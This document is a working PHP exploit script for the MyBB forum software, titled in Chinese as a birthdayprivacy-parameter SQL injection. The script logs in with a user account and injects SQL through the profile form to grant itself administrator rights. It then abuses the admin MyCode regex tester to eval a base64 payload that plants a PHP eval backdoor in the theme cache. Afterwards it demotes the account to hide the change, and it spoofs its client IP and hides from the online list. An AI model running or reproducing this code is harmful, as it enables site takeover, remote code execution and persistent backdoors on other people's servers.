MyBB birthdayprivacy参数SQL注入漏洞

                                                <?PHP

$mybb = new maibibi2;


class maibibi2
{

    function __construct ()
    {



        $this->user    = $this->get_argv('-u');
        $this->pass    = $this->get_argv('-p');
        $this->target    = $this->get_argv('-t');
        $this->admindir    = $this->get_argv('--admindir');    
        $this->oa2u    = $this->get_argv('--onlyadmin2user');

        $this->ip    = '67.167.124.135';
        $this->ua    = 'Mozilla 5.0';
        $this->bckdr    = '/cache/themes/themes.php';

        if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False)    $this->help();
        if (!$this->user || !$this->pass)                        die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
        if (!$this->target)                                die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
            
        $this->http();
        $this->init();

            
    }

    function help ()
    {

        die ("Under Construction\r\n");

    }

    function get_argv ($what)
    {
        global $argv;

        if (!$n = array_search($what, $argv)) return False;
        return $argv[$n+1];    
    }

    function init ()
    {

        set_time_limit(0); // about 30 seconds left? Be serious.

        echo "[.] Initialing.\r\n";

            if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");

        echo "[+] Logged in.\r\n";

            if (!$this->mypostkey = $this->getmypostkey())  die ("My_Post_Key Not Found.\r\n");

        echo "[+] my_post_key variable found.\r\n";

            $this->hidemefromonlinelist();

        echo "[+] Turned On mybb's invisible mode.\r\n";

            $this->user2admin();

        echo "[+] Sql code injected. You're now admin.\r\n";

            if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");

        echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";        

            if (!$this->adminsid = $this->loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
        
        echo "[+] Admin sid Found: {$this->adminsid}\r\n";        
            #$this->writabledirs();
            $this->rce ();        
            if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");

        echo "[+] Site correctly backdoored.\r\n";

            $this->admin2user();

        echo "[+] Sql code injected. You're now user.\r\n";
        echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
        echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

    }    

    function ilovecookies ()
    {
        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);
        $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login', 'action' => 'do_login');
        
        $rsp = $this->post ("{$this->target}/member.php");
        
        if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

        return $res[1][0];
        

    }

    function getmypostkey ()
    {

        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' => "mybbuser={$this->mybbuser};");
        $rsp = $this->get ("{$this->target}/usercp.php?action=profile");

        if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;

        return $res[1][0];                

    }

    function hidemefromonlinelist()

    {
        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
        $this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');
        
        $rsp = $this->post ("{$this->target}/member.php");
        
    }

    function user2admin ()

    {

        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
        $this->postdata = array ('my_post_key'             => $this->mypostkey,
                    'invisible'            => '1',
                    'bday1'                => '',
                    'bday2'                => '',
                    'bday3'                => '',
                    'website'            => 'http%3A%2F%2F',
                    'profile_fields%5Bfid3%5D'    => 'Undisclosed',
                    'profile_fields%5Bfid2%5D'    => 'Undisclosed',
                    'profile_fields%5Bfid1%5D'    => 'Undisclosed',
                    'usertitle'            => '',
                    'icq'                => '',
                    'aim'                => '',
                    'msn'                => '',
                    'yahoo'                => '',
                    'away'                => '0',
                    'awayreason'            => '',
                    'awayday'            => '',
                    'awaymonth'            => '',
                    'awayyear'            => '',
                    'birthdayprivacy'        => "all', usergroup=4, email='[email protected]',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
                    'action'            => 'do_profile',
                    'regsubmit'            => '1');

        $rsp = $this->post ("{$this->target}/usercp.php");

    }
    
    function findadmindir ()
    {

        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
        $rsp = $this->get("{$this->target}/index.php");


        if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->
— <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;

        return $res[1][0];                



    }

    function loginadmin ()

    {
        
        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
        $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'do' => 'login');

        $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");
        
        if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;

        return $res[1][0];
    }

    function writabledirs ()
    {
        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
        $this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;


    }


    function rceOld ()

    {

    //edits inc/functions.php (original one)

    $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
    $this->postdata = array ('my_post_key'             => $this->mypostkey,
                    'o_o'                => 'phpinfo();',
                    'regex'                => '(.*%3F)#e%00',
                    'replacement'            => 'die(eval(stripslashes($_REQUEST[\'o_o\'])));',
                    'test_value'            => 'XoD');

    $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


    }

    function rce ()

    {

    $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
    $this->postdata = array ('my_post_key'             => $this->mypostkey,
                    'o_o'                => 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7',
                    'regex'                => '(.*%3F)#e%00',
                    'replacement'            => 'die(eval(base64_decode($_REQUEST[\'o_o\'])));',
                    'test_value'            => 'XoD',
                    'file'                => "../{$this->bckdr}");

    $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


    }


    function admin2user ()
    
    {

        $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
        $this->postdata = array ('my_post_key'             => $this->mypostkey,
                    'invisible'            => '1',
                    'bday1'                => '',
                    'bday2'                => '',
                    'bday3'                => '',
                    'website'            => 'http%3A%2F%2F',
                    'profile_fields%5Bfid3%5D'    => 'Undisclosed',
                    'profile_fields%5Bfid2%5D'    => 'Undisclosed',
                    'profile_fields%5Bfid1%5D'    => 'Undisclosed',
                    'usertitle'            => '',
                    'icq'                => '',
                    'aim'                => '',
                    'msn'                => '',
                    'yahoo'                => '',
                    'away'                => '0',
                    'awayreason'            => '',
                    'awayday'            => '',
                    'awaymonth'            => '',
                    'awayyear'            => '',
                    'birthdayprivacy'        => "all', usergroup=2, email='[email protected]',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
                    'action'            => 'do_profile',
                    'regsubmit'            => '1');

        $rsp = $this->post ("{$this->target}/usercp.php");

    }

    function checkrce_old ()

    {
        $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
        $rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");

        if (!strstr($rsp,'.:31337:.'))    return False;
        else                return True;

    }

    function checkrce ()

    {
        $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
        $rsp = $this->get ("{$this->target}/{$this->bckdr}");

        if (!strstr($rsp,'.:31337:.'))    return False;
        else                return True;

    }


    function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
    {

        $this->port    = $port;
        $this->timeout    = $timeout;
        $this->header    = $header;
        $this->postdata    = $post;
    }

    function get ($url)
    {
        $this->url = parse_url($url);
        $this->packet = array();

        $this->packet[] = "GET {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
        $this->packet[] = "Host: {$this->url['host']}";

        foreach ($this->header as $header => $value)
        {
            $this->packet[] = "$header: $value";
        }
        
        $this->packet[] = "\r\n\r\n";
        $this->packet    = implode ("\r\n",$this->packet);

        return $this->conn();
    }

    function post ($url)
    {
        $this->url = parse_url($url);

        $this->packet = array();
        $this->postcontent = '';

        $this->packet[] = "POST {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
        $this->packet[] = "Host: {$this->url['host']}";

        foreach ($this->header as $header => $value)
        {
            $this->packet[] = "$header: $value";
        }
    
        foreach ($this->postdata as $post => $value)
        {
            if ($this->postcontent != '') $this->postcontent .= '&';
            $this->postcontent .= "$post=$value";
        }
    
        $this->packet[] = 'Content-Type: application/x-www-form-urlencoded';
        $this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
        $this->packet[] = $this->postcontent;

        $this->packet    = implode ("\r\n",$this->packet);

        return $this->conn();
    }


    function conn()
    {
        if (!isset($this->url['port']))    $this->url['port'] = $this->port;

        $sk = fsockopen ($this->url['host'], $this->url['port'], $eno, $estr, $this->timeout);

        if (!is_resource($sk))    return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;

        else    {

                    fputs($sk, $this->packet);
                $rsp = "";
                
                while (!feof($sk))
                    {
                               $rsp .= fgets ($sk, 1024);
                    }
            }

        fclose($sk);
        return $rsp;
    }



}

?>